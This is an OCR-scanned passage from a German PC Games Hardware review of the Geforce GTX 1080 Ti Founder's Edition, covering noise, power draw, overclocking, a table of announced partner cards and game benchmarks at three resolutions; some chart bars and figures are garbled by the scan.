Platine bestens für Overclocking gerüs- 
tet. Die RAM-Versorgung erfolgt nach 
wie vor über zwei Wandlerphasen, die 
ihre Energie aus der 8-Pol-Strombuchse 
beziehen. 
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Lautheit und Verbrauch 

Messwerte der Lautheit ermittelt 
PC Games Hardware in einem 
schallarmen Raum mit einem 
Grundrauschen von 0,1 Sone, das 
absoluter Stille sehr nahekommt 
- die Messwerte geben daher die 
tatsächliche Lautheit der Grafikkar- 
te wieder, ohne durch Umgebungs- 
geräusche verfälscht zu werden. 
Bei der Leistungsaufnahme setzt 
PCGH auf die bewährte Messung 
mittels PCI-E-Extender, bei der wir 
den Verbrauch über Messschleifen 


isoliert vom restlichen PC erfassen. 


Im Leerlauf dreht der Radiallüfter 
der Geforce GTX 1080 Ti immerzu 
(mit 1.100 U/Min), nach wie vor 
verzichtet Nvidia auf einen semi- 
passiven Modus. Angesichts der 
erzeugten Lautheit von schwach 
wahrnehmbaren 0,4 Sone ist 
das verschmerzbar. Beim Multi- 
Monitoring oder der Videowie- 
dergabe auch in Ultra HD ändert 
sich dieser Wert nicht. In Spielen 
messen wir nach der Aufheizpha- 
se eine deutlich höhere Lautheit, 
die Verbesserungen gegenüber 
der Titan XP sind jedoch nicht zu 
Schlimmstenfalls 57 
Prozent Drehkraft setzt die Lüfter- 
steuerung, während wir mit dem 
Hexer Geralt durch Skellige galop- 
pieren - in Ultra HD inklusive aller 
Gameworks-Effekte und Bildraten 


überhören: 


Geforce GTX 


weit jenseits 40 Fps. Das führt zu 
rund 2.730 Lüfterumdrehungen 
pro Minute und 4,0 Sone Lautheit. 
In den meisten anderen Spielen 
gelingt es dem Referenzkühler, 
das Temperaturziel bei 50 % PWM 
(2.400 U/min) und 2,8 Sone zu 
halten. Das ist beachtlich leise an- 
gesichts bis zu 250 Watt Abwärme. 


Apropos, bei der Leistungsaufnah- 
me gibt es keine Überraschungen, 
die GTX 1080 Ti FE tritt in Sachen 
Leistungsaufnahme in die Fuß- 
stapfen der Titan XP. Im Leerlauf 
genehmigt sich unser Muster der 
GTX 1080 Ti konsequent etwas 
mehr Energie als die TXP, aller- 
dings auf sparsamem Niveau. Ur- 
sáchlich dafür kónnte die etwas 
hóhere Kernspannung sein, die bei 
unserer 1080 Ti genau 0,650 Volt 
beträgt. Die Titan XP verweilt wie 
ihre kleineren Geschwister GTX 
1080/1070/1060 bei 0,625 Volt. Un- 
ter Spielelast bewegt sich die Leis- 
tungsaufnahme zwischen 220 und 
240 Watt, je nachdem wie die Takt- 
Spannungs-Kombination ausfällt, 
welche sich wiederum nach der 
Spielelast richtet. Schlimmstenfalls 
füllt die GTX 1080 Ti FE genau ihr 
Powerbudget von 250 Watt aus. 


In Overclocking-Tools lässt sich 
Letzteres auf bis zu 120 Prozent er- 
höhen, was rund 300 Watt Spitzen- 


verbrauch erlaubt. Allein an dieser 
Stellschraube zu drehen führt bei 
der Karte nicht zum Erfolg: Die Lüf- 
tersteuerung agiert minimalistisch 
und stets am 85-°C-Limit, sodass die 
Leistung der Karte mit 300 Watt 
und automatischer Regelung nicht 
oder kaum steigt. Das ändert sich 
mit manuell heraufgesetzter Belüf- 
tung: Die niedrigere Temperatur 
führt direkt zu höheren Boosts. Um 
300 Watt effektiv wegzukühlen, 
sind jedoch mindestens 70 Prozent 
(> 6,4 Sone), besser 80 (8,3 Sone) 
Ansteuerung notwendig. Bei ma- 
ximaler Leistung werden 4.800 U/ 
min und 12,3 Sone erreicht. 


Spieleleistung 

Wie immer nutzen wir in unseren 
praxisnahen Spiele-Leistungstests 
keine integrierten Benchmarks, 
sondern echte Ingame-Action auf 
Basis selbstersteller Spielstände so- 


wie mit HQ-AF in den Treibern. 


Passend zur Rohleistung kann sich 
die GTX 1080 Ti Founder’s Edition 
hauchdünn von der Titan XP ab- 
setzen, sie liefert etwa 101 Prozent 
ihrer Leistung. Dementsprechend 
haben wir den PCGH-Leistungsin- 
dex (Seite 49) neu erstellt, mit den 
aktuellen Benchmarkwerten und 
der GTX 1080 Ti als neue 100-Pro- 
zent-Messlatte. Beachten Sie, dass 
sich deswegen alle Endnoten der 


bereits getesteten Grafikkarten 
verschlechtern, welche Sie auf 
Seite 120 finden. Die Benotung ist 
bereits für noch schnellere Grafik- 
karten ausgelegt, unter anderem 
die OC-Versionen der GTX 1080 Ti, 
die wir in der kommenden Ausga- 


be testen werden. 


Partnerdesign-Übersicht 

Während diese Zeilen entstehen 
(24. März) tüfteln Nvidias Partner 
emsig an „Non-Founder- 
Editionen“. Fast alle haben noch 
im März ihre Entwürfe präsentiert, 
doch nur wenige wurden konkret, 
was Taktraten und Liefertermine 
angeht. Auch diesmal haben die 
Hersteller zwei Optionen: Entwe- 
der sie kaufen die Referenzkarten 


ihren 


bei Nvidia und montieren ihre ei- 
genen Kühler auf die Standardpla- 
tine oder sie entwerfen zusätzlich 
eigene Platinendesigns. Ersteres 
ist der schnelle Weg, den unter an- 
derem Inno 3D geht, während die 
meisten anderen Boardpartner für 
ihre Custom-Designs auf angepass- 
te PCBs setzen, welche noch etwas 
Zeit brauchen. Gründer-Editionen 
bieten derweil alle an. Die Tabel- 
le unten offenbart, was Sie in den 
PCGH-Ausgaben 06 und 07 im Test 
erwartet. Wir haben die Angaben 
bis zur letzten Minute aktualisiert, 
doch nicht jeder Hersteller konnte 
uns finale Daten nennen. 


0 Ti: Angekündigte Herstellerdesigns - mehr unter www.pcgh.de/1 


Hersteller | Produkt Basistakt Typ. Boost | Speichertakt (MHz) Kühlsystem Strombuchsen Powerlimit = š 
Nvidia et al. | GTX 1080 Ti Founder's Edition 1.480 MHz 1.582 MHz 5.508 MHz 2 Slots, 1 x Radiallüfter (DHE) | 1 x 8-/1 x 6-Po 250 Watt $2 
Asus GTX 1080 Ti Strix O11G 1.569 MHz 1.683 MHz 5.508 MHz 2,5 Slots, 3 x Axiallüfter 2 x 8-Pol 275 Watt Е z 
Asus GTX 1080 Ti Strix 1.480 MHz 1.582 MHz 5.508 MHz 2,5 Slots, 3 x Axiallüfter 2 x 8-Pol 250 Watt ER 
Asus GTX 1080 Ti Turbo 1.480 MHz 1.582 MHz 5.508 MHz 2 Slots, 1 x Radiallüfter (DHE) | 1 x 8-/1 x 6-Po 250 Watt 28 
EVGA GTX 1080 Ti FTW3 ICX 1.569 MHz 1.683 MHz 5.508 MHz 2 Slots, 3 x Axiallüfter 2 x 8-Pol Unbekann 5 S 
EVGA GTX 1080 Ti SC2 ICX 1.556 MHz 1.670 MHz 5.508 MHz 2 Slots, 2 x Axiallüfter 1 x 8-/1 x 6-Po 250 Watt E $ 
EVGA GTX 1080 Ti SC Black Edition 1.556 MHz 1.670 MHz 5.508 MHz 2 Slots, 2 x Axiallüfter 1 x 8-1 x 6-Po 250 Watt 5 = 
Gigabyte GTX 1080 Ti Aorus Xtreme Edition | Noch nicht final Noch nicht final Noch nicht final 2,5 Slots, 3 x Axiallüfter 2 x 8-Pol (vmtl. Unbekann Š Е 
Gigabyte GTX 1080 Ti G1 Gaming 11G Noch nicht final | Noch nicht final Noch nicht final 2 Slots, 3 x Axiallüfter Unbekannt Unbekann 8 E 
Inno 3D GTX 1080 Ti Black Edition Noch nicht final Noch nicht final Noch nicht final Hybrid (Luft/Wasser Unbekannt Unbekann m 
Inno 3D GTX 1080 Ti iChill X4 .607 MHz .721 MHz 5.700 MHz 2,5 Slots, 3 + 1 Axiallüfter 1x 8-/1 x 6-Po Unbekann 5 = 
Inno 3D GTX 1080 Ti iChill X3 .607 MHz .721 MHz 5.700 MHz 2,5 Slots, 3 x Axiallüfter 1 x 8-/1 x 6-Po Unbekann 5 = 
Inno 3D GTX 1080 Ti Gaming OC .556 MHz .670 MHz 5.508 MHz 2 Slots, 2 x Axiallüfter 1 x 84/1 x 6-Ро Unbekann gU 
Inno 3D GTX 1080 Ti Twin X2 .480 MHz .582 MHz 5.508 MHz 2 Slots, 2 x Axiallüfter 1 x 8-/1 x 6-Po 250 Watt E E 
KFA2 GTX 1080 Ti Hall of Fame (HOF) och nicht fina och nicht fina och nicht fina 2,5 Slots, 3 x Axiallüfter 2 x 8-Pol (vmtl. Unbekann 3 3 , 
KFA2 GTX 1080 Ti EXOC och nicht fina och nicht fina och nicht fina 2 Slots, 2 x Axiallüfter 1x 841 x 6-Po Unbekann = 55 
KFA2 GTX 1080 Ti .480 MHz .582 MHz 5.508 MHz 2 Slots, 1 x Radiallüfter (DHE) | 1 x 8-/1 x 6-Po 250 Watt e ° 3 
MSI GTX 1080 Ti Sea Hawk EK och nicht fina och nicht fina och nicht fina Fullcover-Wakü-Block Unbekannt Unbekann EE = 
MSI GTX 1080 Ti Sea Hawk och nicht fina och nicht fina och nicht fina All-in-One-Wakü Unbekannt Unbekann + 2g 
MSI GTX 1080 Ti Gaming X .544 MHz .657 MHz 5.508 MHz 2,5 Slots, 2 x Axiallüfter 2 x 8-Pol Unbekannt E š B 
MSI GTX 1080 Ti Armor och nicht fina och nicht fina och nicht fina 2 Slots, 2 x Axiallüfter 1 x 8-41 x 6-Po Unbekann E t š 
MSI GTX 1080 Ti Aero och nicht fina och nicht fina och nicht fina 2 Slots, 1 x Radiallüfter (DHE) | 1 х 8-/1 x 6-Po 250 Watt 5 2 = 
Zotac GTX 1080 Ti AMP! Extreme och nicht fina och nicht fina och nicht fina 3 Slots, 3 x Axiallüfter 2 x 8-Pol Unbekann = = Š 
Zotac GTX 1080 Ti AMP! och nicht fina och nicht fina och nicht fina 2 Slots, 2 x Axiallüfter 2 x 8-Pol Unbekannt E E m 
Zotac GTX 1080 Ti Blower 1.480 MHz 1.582 MHz 5.508 MHz 2 Slots, 1 x Radiallüfter (DHE) | 1 x 8-/1 x 6-Po 250 Watt v с В 
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Geforce GTX 1080 Ti: Leistung in Full HD (1.920 x 1.080 Pixel) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - „Devil's Dance" 


Nvidia Geforce GTX 1080 Ti/1 1G PER 200,0 (Basis) 
Nvidia Titan X (Pascal)/12G Ea 200,0 (0 96) 
Nvidia Geforce GTX 1080/8G [X8 195,5 (-2 96) 
AMD Radeon R9 Fury X/4G ДЗ Eus 176,7 (-12 %) 
Nvidia Geforce GTX 1070/86 3o ЕШШ 165,0 (-18 96) 
Nvidia Geforce GTX 980 Ti/6G Eng 146,4 (-27 %) 
AMD Radeon RX 480/86 [nis 145,3 (-27 96) 
AMD Radeon R9 390X/8G [sa s 138,9 (-31 %) 
AMD Radeon R9 390/8G i E 126,0 (-37 96) 
Nvidia Geforce GTX 970/3,5+0,5G gs 104,9 (-48 96) 
Nvidia Geforce GTX 780 Ti/3G SRERKKKK|I)IXYXGIIIIIII 82,1 (-59 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Nvidia Geforce GTX 1080 Ti/11G EE 132,0 (Basis) 
Nvidia Titan X (Pascal)/12G il 130,3 (-1 96) 
Nvidia Geforce GTX 1080/8G. HEMMEMA 109,1 (-17 96) 
Nvidia Geforce GTX 1070/8G. 83r 87,0 (-34 96) 
Nvidia Geforce GTX 980 Ti/6G el 79,3 (-40 96) 
AMD Radeon R9 Fury X/4G mn 74,7 (-43 96) 
AMD Radeon RX 480/86 BET 60,2 (-54 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ШЕ 54,3 (-59 96) 
AMD Radeon R9 390X/8G. REES 53,7 (-59 96) 
Nvidia Geforce GTX 780 Ti/3G. 5501! 53,1 (-60 96) 
AMD Radeon R9 390/8G 451] 47,5 (-64 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - ,, Prague" 
Nvidia Geforce GTX 1080 Ti/11G BEE 119,4 (Basis) 
Nvidia Titan X (Pascal)/12G Eq Ex 117,0 (-2 96) 
Nvidia Geforce GTX 1080/8G 88. 88 98,8 (-17 96) 
Nvidia Geforce GTX 1070/8G ШО 78,8 (-34 96) 
AMD Radeon R9 Fury X/4G. ea 72,9 (-39 96) 
Nvidia Geforce GTX 980 Ti/oG. egi 70,2 (-41 96) 
AMD Radeon R9 390X/8G |n 62,7 (-47 96) 
AMD Radeon RX 480/8G ШБ 61,0 (-49 96) 
AMD Radeon R9 390/8G [55211 58,0 (-51 96) 
Nvidia Geforce GTX 970/3,5+0,56 ШЕ 08 46,4 (-61 96) 
Nvidia Geforce GTX 780 Ti/3G. MEMON 46,2 (-61 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G BEE 114,7 (Basis) 
Nvidia Titan X (Pascal)/12G pgs cs 113,9 C1 %) 
Nvidia Geforce GTX 1080/8G gar 97,3 (-15 96) 
Nvidia Geforce GTX 1070/8G. ese 77,0 (-33 96) 
Nvidia Geforce GTX 980 Ti/6G 57113 68,7 (-40 96) 
AMD Radeon RX 480/8G. ЗВ 53,4 (-53 96) 
AMD Radeon R9 390X/8G ЕЗДЕ 50,4 (-56 96) 
AMD Radeon R9 390/8G ШЗ 47,3 (-59 96) 
AMD Radeon R9 Fury X/4G Ш 2518 33,1 (-71 96) 
Nvidia Geforce GTX 970/3,5--0,5G [2711 30,7 (-73 96) 
Nvidia Geforce GTX 780 Ti/3G 2441 28,0 (-76 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Geforce GTX 1080 Ti/11G EDEN 111,8 (Basis) 
Nvidia Titan X (Pascal)/12G El 109,8 (-2 96) 
Nvidia Geforce GTX 1080/86 EEE 97,6 (-13 %) 
Nvidia Geforce GTX 1070/86 gall 81,2 (-27 %) 
Nvidia Geforce GTX 980 Ti/6G. t| 75,1 (-33 96) 
AMD Radeon R9 Fury X/AG. egi] 71,7 (-36 96) 
AMD Radeon RX 480/8G. |t 63,4 (-43 %) 
AMD Radeon R9 390X/8G [ssi 60,6 (-46 96) 
Nvidia Geforce GTX 970/3,5--0,5G. ШУД 55,8 (-50 96) 
AMD Radeon R9 390/86 ШЕ 52| 54,9 (-51 90) 
Nvidia Geforce GTX 780 Ti/3G 49i] 52,3 (-53 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Geforce GTX 1080 Ti/11G ER ШЕШ 104,5 (Basis) 
Nvidia Titan X (Pascal)/12G Es cs 103,4 (-1 90) 
Nvidia Geforce GTX 1080/8G gi Ex 86,5 (-17 96) 
Nvidia Geforce GTX 1070/8G. sr 68,0 (-35 96) 
Nvidia Geforce GTX 980 Ti/6G gët 60,3 (-42 96) 
AMD Radeon R9 Fury X/4G E46: F5 58,0 (-44 96) 
AMD Radeon R9 390X/8G ШЕ З 88 50,2 (-52 96) 
AMD Radeon RX 480/8G ВЕ 368 46,0 (-56 96) 
AMD Radeon R9 390/8G Ш ЗУ 45,8 (-56 96) 
Nvidia Geforce GTX 970/3,54-0,5G В ЗУ 43,2 (-59 96) 
Nvidia Geforce GTX 780 Ti/3G ВЗ 41,3 (-60 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - „бео Valley" 


Nvidia Geforce GTX 1080 Ti/11G eg 103,5 (Basis) 
Nvidia Titan X (Pascal)/12G ess 101,7 (2 90) 
Nvidia Geforce GTX 1080/8G. xau 84,2 (-19 96) 
Nvidia Geforce GTX 1070/8G. sm 65,5 (-37 96) 
Nvidia Geforce GTX 980 Ti/6G 81H 62,1 (-40 96) 
AMD Radeon R9 Fury X/4G Em 49,2 (-52 96) 
AMD Radeon R9 390X/8G [53815 44,3 (-57 96) 
AMD Radeon RX 480/86 ВЕ 3818 44,1 (-57 96) 
AMD Radeon R9 390/8G Ш 28 40,4 (-61 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ж ЛЕ 32,9 (-68 96) 
Nvidia Geforce GTX 780 Ti/3G BAH 30,4 (-71 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 
Nvidia Geforce GTX 1080 Ti/11G EBEN 89,8 (Basis) 
Nvidia Titan X (Pascal)/12G Ego H 88,5 (-1 96) 
Nvidia Geforce GTX 1080/8G. an 77,2 (-14 %) 
Nvidia Geforce GTX 1070/8G. ESCRIBIR 64,1 (-29 %) 
Nvidia Geforce GTX 980 Ti/6G [491 54,3 (-40 96) 
AMD Radeon R9 Fury X/4G Ш 48,8 (-46 96) 
AMD Radeon RX 480/8G. 153911 42,5 (-53 96) 
Nvidia Geforce GTX 970/3,54-0,5G Ш З] 40,0 (-55 96) 
AMD Radeon R9 390X/8G Ш ЗД 38,5 (-57 96) 
AMD Radeon R9 390/8G 5381] 35,4 (-61 96) 
Nvidia Geforce GTX 780 Ti/3G В ЗІ! 34,7 (-61 96) 


СТА 5 (DX11), Gras „sehr hoch", 4х MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1080 Ti/11G PER 71,7 (Basis) 
Nvidia Titan X (Pascal)/12G. esi] 71,1 (-1 96) 
Nvidia Geforce GTX 1080/8G. E581 63,0 (-12 96) 
Nvidia Geforce GTX 1070/8G 4911 52,6 (-27 96) 
Nvidia Geforce GTX 980 Ti/6G |) 45,3 (-37 96) 
AMD Radeon R9 Fury X/4G [381] 41,6 (-42 96) 
AMD Radeon R9 390X/8G ВЕ ЗД] 37,3 (-48 96) 
Nvidia Geforce GTX 780 Ti/3G. [5821] 34,9 (-51 96) 
AMD Radeon R9 390/8G MEEST] 34,4 (-52 96) 
AMD Radeon RX 480/8G Ш 32 34,3 (-52 96) 
Nvidia Geforce GTX 970/3,5+0,5G MEST] 33,8 (-53 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - „Scavenger” 
Nvidia Geforce GTX 1080 Ti/11G ESI 48,4 (Basis) 
Nvidia Titan X (Pascal)/12G 28/59 47,3 (-2 96) 
Nvidia Geforce GTX 1080/8G ВРВІ 44,1 (-9 96) 
Nvidia Geforce GTX 1070/8G БЛВ 39,1 (-19 96) 
AMD Radeon R9 Fury X/4G 2318 33,8 (-30 96) 
Nvidia Geforce GTX 980 Ti/6G 2318 30,5 (-37 96) 
AMD Radeon R9 390X/8G ШТ 28,8 (-40 96) 
AMD Radeon RX 480/8G ВІ 27,0 (-44 96) 
AMD Radeon R9 390/8G MBIN 26,6 (-45 96) 
Nvidia Geforce GTX 970/3,5+0,5G MAH 24,7 (-49 96) 
Nvidia Geforce GTX 780 Ti/3G БЇ 23,1 (-52 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 378.78 WHQL, Radeon Software 17.3.1 WHQL, HQ-AF 
Bemerkungen: Wer eine Grafikkarte der Leistungsklasse einer GTX 1080 Ti unter Full HD betreibt, unterfordert sie — in vielen Spielen bremst der Hauptprozessor das Geschehen aus. 
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GRAFIKKARTEN | Geforce GTX 1080 Ti: Test & Tuning 


Geforce GTX 1080 Ti: Leistung in WQHD (2.560 x 1.440 Pixel) 


Doom (Vulkan), TSSAA 8TX/16:1 AF – „Devil's Dance" 


Nvidia Geforce GTX 1080 Ti/11G Be ES 171,2 (Basis) 
Nvidia Titan X (Pascal)/12G Be 168,5 (-2 


Nvidia Geforce GTX 1080/8G nm pu 139,9 (-18 96) 
AMD Radeon R9 Fury X/4G goi 115,0 (-33 %) 

Nvidia Geforce GTX 1070/8G. gs ew 106,2 (-38 %) 
Nvidia Geforce GTX 980 Ti/6G gi 94,9 (-45 %) 

AMD Radeon RX 480/86 | 91,2 (47 96) 

AMD Radeon R9 390X/8G |a 91,2 (47 96) 
AMD Radeon R9 390/8G eg EN 82,1 (-52 9) 
Nvidia Geforce GTX 970/3,5--0,5G. E551 65,5 (-62 96) 

Nvidia Geforce GTX 780 T/3G E491 Ex 51,9 (-70 96) 


F1 2016, TAA/16:1 AF - Catalunya" 


Nvidia Geforce GTX 1080 Ti/11G. gg 94,8 (Basis) 
Nvidia Titan X (Pascal)/12G Egi! 94,4 (-0 96) 
Nvidia Geforce GTX 1080/86 Erant 81,7 (-14 96) 
Nvidia Geforce GTX 1070/8G. |a 66,1 (-30 96) 
Nvidia Geforce GTX 980 Ti/6G. xil 61,5 (-35 96) 
AMD Radeon R9 Fury X/AG. Xs 59,7 (-37 96) 
AMD Radeon RX 480/8G E491! 51,9 (-45 96) 
AMD Radeon R9 390X/8G. 48] 50,8 (-46 %) 
AMD Radeon R9 390/8G ШЕ 45,7 (-52 96) 
Nvidia Geforce GTX 970/3,5+0,56 E81] 45,0 (-53 96) 
Nvidia Geforce GTX 780 Ti/3G ШЕИ 42,6 (-55 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 
Nvidia Geforce GTX 1080 Ti/11G. gg! 93,2 (Basis) 
Nvidia Titan X (Pascal)/12G gt 91,8 (-2 96) 
Nvidia Geforce GTX 1080/8G mx 75,5 (-19 96) 
Nvidia Geforce GTX 1070/8G. [x56] 58,7 (-37 %) 
Nvidia Geforce GTX 980 Ti/6G 521] 54,4 (-42 %) 
AMD Radeon R9 Fury X/4G. E821] 53,9 (-42 96) 
AMD Radeon RX 480/8G MEAO] 41,1 (-56 96) 
AMD Radeon R9 390X/8G 5361] 37,9 (-59 96) 
Nvidia Geforce GTX 780 Ti/3G 381] 37,5 (-60 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ш 39] 36,8 (-61 96) 
AMD Radeon R9 390/8G MEEST] 33,2 (-64 96) 


Deus Ex: Mankind Divided (DX11), TAA/16:1 AF - „Prague” 


Nvidia Geforce GTX 1080 Ti/11G XXe 83,8 (Basis) 
Nvidia Titan X (Pascal)/12G Xs 83,1 (-1 96) 
Nvidia Geforce GTX 1080/8G gat 67,8 (-19 96) 
Nvidia Geforce GTX 1070/8G. agn 53,4 (-36 96) 
AMD Radeon R9 Fury X/4G Loggt 49,7 (-41 96) 
Nvidia Geforce GTX 980 Ti/oG. Exi 47,9 (-43 96) 
AMD Radeon R9 390X/8G. 53811 43,0 (-49 96) 
AMD Radeon RX 480/8G. 53811 40,4 (-52 96) 
AMD Radeon R9 390/8G [5361] 39,8 (-53 96) 
Nvidia Geforce GTX 970/3,54-0,5G 3811 32,0 (-62 96) 
Nvidia Geforce GTX 780 T/3G ВЕДЕ 30,7 (-63 96) 


Mirror's Edge: Catalyst, Hyper-Preset, TAA/16:1 AF – , Rooftops" 


Nvidia Geforce GTX 1080 Ti/11G. sen 81,2 (Basis) 
Nvidia Titan X (Pascal)/12G Een Es 81,0 (-0 96) 
Nvidia Geforce GTX 1080/8G. Essi E 67,7 (-17 %) 
Nvidia Geforce GTX 1070/8G. Er 53,1 (-35 96) 
Nvidia Geforce GTX 980 Ti/6G aem 48,1 (-41 96) 
AMD Radeon RX 480/8G [25113 36,1 (-56 96) 
AMD Radeon R9 390X/8G Б ЗШЕ 35,2 (-57 96) 
AMD Radeon R9 390/8G EXE 32,4 (-60 96) 
AMD Radeon R9 Fury X/4G ШЙ 23,8 (-71 96) 
Nvidia Geforce GTX 970/3,5+0,5G ВЭ | 23,0 (-72 96) 
Nvidia Geforce GTX 780 Ti/3G e" 19,2 (-76 96) 


Far Cry: Primal, TAA/16:1 Treiber-AF - , Sunrise" 


Nvidia Geforce GTX 1080 Ti/11G СОЈ 81,1 (Basis) 
Nvidia Titan X (Pascal)/12G [X8 79,6 (-2 96) 
Nvidia Geforce GTX 1080/8G. ШБ 88 65,8 (-19 96) 
Nvidia Geforce GTX 1070/8G. ap 51,4 (-37 96) 
AMD Radeon R9 Fury X/4G [4s 47,4 (-42 96) 
Nvidia Geforce GTX 980 Ti/oG. MEZO 47,0 (-42 96) 
AMD Radeon R9 390X/8G. ВЕ 3318 40,2 (-50 96) 
AMD Radeon R9 390/8G Ш 018 36,5 (-55 96) 
AMD Radeon RX 480/8G Ш 3018 35,9 (-56 96) 
Nvidia Geforce GTX 780 Ti/3G Ш 618 32,3 (-60 96) 
Nvidia Geforce GTX 970/3,5+0,5G Ж 58 31,3 (-61 96) 


Rise of the Tomb Raider (DX12), max. Details, SMAA/16:1 AF - ,,Geo Valley" 
Nvidia Geforce GTX 1080 Ti/11G. 93 74,1 (Basis) 
Nvidia Titan X (Pascal)/12G sees 72,6 (-2 96) 
Nvidia Geforce GTX 1080/86 Loggt 58,5 (-21 96) 
Nvidia Geforce GTX 1070/8G. ШЕ 83918 45,3 (-39 %) 
Nvidia Geforce GTX 980 Ti/6G 38! H 44,2 (-40 96) 
AMD Radeon R9 Fury X/4G В 308 37,3 (-50 96) 
AMD Radeon R9 390X/8G [2811 32,8 (-56 96) 
AMD Radeon RX 480/86 В 281 31,1 (-58 96) 
AMD Radeon R9 390/86 [2611 29,7 (-60 96) 
Nvidia Geforce GTX 970/3,5--0,5G 1811 21,6 (-71 96) 
Nvidia Geforce GTX 780 Ti/3G ШШЕ 17,1 (-77 96) 


Assassin's C. Syndicate, 4x MSAA+FXAA/16:1 Treiber-AF - „Bishopsgate” 
Nvidia Geforce GTX 1080 71/116 X59? 64,5 (Basis) 
Nvidia Titan X (Pascal)/12G E58 63,3 (-2 96) 
Nvidia Geforce GTX 1080/8G. gl 53,7 (-17 96) 
Nvidia Geforce GTX 1070/86 491] 43,9 (-32 96) 
Nvidia Geforce GTX 980 Ti/6G. 535] 38,5 (-40 96) 
AMD Radeon R9 Fury X/4G Ш 21| 29,5 (-54 96) 
AMD Radeon RX 480/8G 261] 28,5 (-56 96) 
AMD Radeon R9 390X/8G В 2411 27,0 (-58 96) 
Nvidia Geforce GTX 970/3,5+0,5G 231] 25,8 (-60 96) 
AMD Radeon R9 390/86 [2211 25,0 (-61 96) 
Nvidia Geforce GTX 780 Ti/3G В 911 21,8 (-66 96) 


GTA 5 (DX11), Gras „sehr hoch", 4x MSAA/16:1 AF - „Grapeseed” 


Nvidia Geforce GTX 1080 Ti/11G Xs 55,8 (Basis) 
Nvidia Titan X (Pascal)/12G. M5 55,5 (-1 96) 
Nvidia Geforce GTX 1080/8G Ww 46,5 (-17 96) 
Nvidia Geforce GTX 1070/8G 5381! 38,0 (-32 96) 
Nvidia Geforce GTX 980 Ti/6G MEEST] 33,7 (-40 96) 
AMD Radeon R9 Fury X/4G [9291] 31,4 (-44 96) 
AMD Radeon R9 390X/8G 281] 27,8 (-50 96) 
Nvidia Geforce GTX 780 Ti/3G ШД 25,9 (-54 96) 
AMD Radeon R9 390/86 В 2311 25,7 (-54 96) 
Nvidia Geforce GTX 970/3,5--0,5G Ш 91| 24,1 (-57 96) 
AMD Radeon RX 480/8G 1:221] 24,1 (-57 96) 


Ashes of the Singularity (DX12), 4x MSAA/16:1 AF - „Scavenger” 
Nvidia Geforce GTX 1080 71/116 ШЕ E 42,2 (Basis) 
Nvidia Titan X (Pascal)/12G amu 41,3 (-2 90) 
Nvidia Geforce GTX 1080/8G В 231888 36,3 (-14 96) 
Nvidia Geforce GTX 1070/86 181 28,6 (-32 96) 
AMD Radeon R9 Fury X/AG ШВ 27,5 (-35 96) 
Nvidia Geforce GTX 980 Ti/6G б 24,2 (-43 96) 
AMD Radeon R9 390X/8G Ш 22,7 (-46 96) 
AMD Radeon RX 480/8G MSIN 21,8 (-48 96) 
AMD Radeon R9 390/8G ШЙ 21,7 (-49 96) 
Nvidia Geforce GTX 970/3,5+0,5G RJ 18,1 (-57 96) 
Nvidia Geforce GTX 780 Ti/3G ШШЕ 17,8 (-58 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64, Geforce 378.78 WHQL, Radeon Software 17.3.1 WHQL, HQ-AF МІП 2 Fps 
Bemerkungen: WQHD und UWQHD (3.440 x 1.440 Pixel) sind die idealen Auflösungen für die GTX 1080 Ti, sie erreicht überall flüssige Bildraten und wird nur selten von der CPU ausgebremst. » Besser 
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Geforce GTX 1080 Ti: Leistung in Ultra HD (3.840 x 2.160 Pixel) 


Doom (Vulkan), TSSAA 8TX/16:1 AF – „Devil's Dance" 


Nvidia Geforce GTX 1080 Ti/1 1G u e 86,9 (Basis) 
Nvidia Titan X (Pascal)/12G ЕТО] 5,0 (-2 96) 
Nvidia Geforce GTX 1080/8G E ШЕН 69,0 (-21 96) 
AMD Radeon R9 Fury X/4G Egg: pu 57,2 (-34 %) 
Nvidia Geforce GTX 1070/8G |a pu 52,6 (-39 96) 
Nvidia Geforce GTX 980 Ti/6G gr 46,9 (-46 96) 
AMD Radeon R9 390X/8G [sme 44,5 (-49 96) 
AMD Radeon RX 480/8G. 3e ES 44,2 (-49 %) 
AMD Radeon R9 390/8G. 3s 41,5 (-52 96) 
Nvidia Geforce GTX 970/3,5+0,56 amm 31,4 (-64 96) 
Nvidia Geforce GTX 780 T/3G БШШШ 25,9 (-70 96) 


F1 2016, TAA/16:1 AF - „Catalunya“ 


Nvidia Geforce GTX 1080 Ti/11G ern 64,3 (Basis) 
Nvidia Titan X (Pascal)/12G ett 64,0 (-0 96) 
Nvidia Geforce GTX 1080/86 Xs 52,9 (-18 90) 
Nvidia Geforce GTX 1070/8G. ut 42,2 (-34 96) 
AMD Radeon R9 Fury X/4G [grt 41,3 (-36 %) 
Nvidia Geforce GTX 980 Ti/6G gri 39,9 (-38 90) 
AMD Radeon R9 390X/8G [Xs 33,5 (-48 96) 
AMD Radeon RX 480/8G. |i 32,7 (49 %) 
AMD Radeon R9 390/8G 39! 30,4 (-53 96) 
Nvidia Geforce GTX 780 Ti/3G [X981 27,2 (-58 %) 
Nvidia Geforce GTX 970/3,5+0,5G oct 24,6 (-62 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 
Nvidia Geforce GTX 1080 Ti/11G. Eug! 50,7 (Basis) 
Nvidia Titan X (Pascal)/12G. Egit 50,1 (-1 96) 
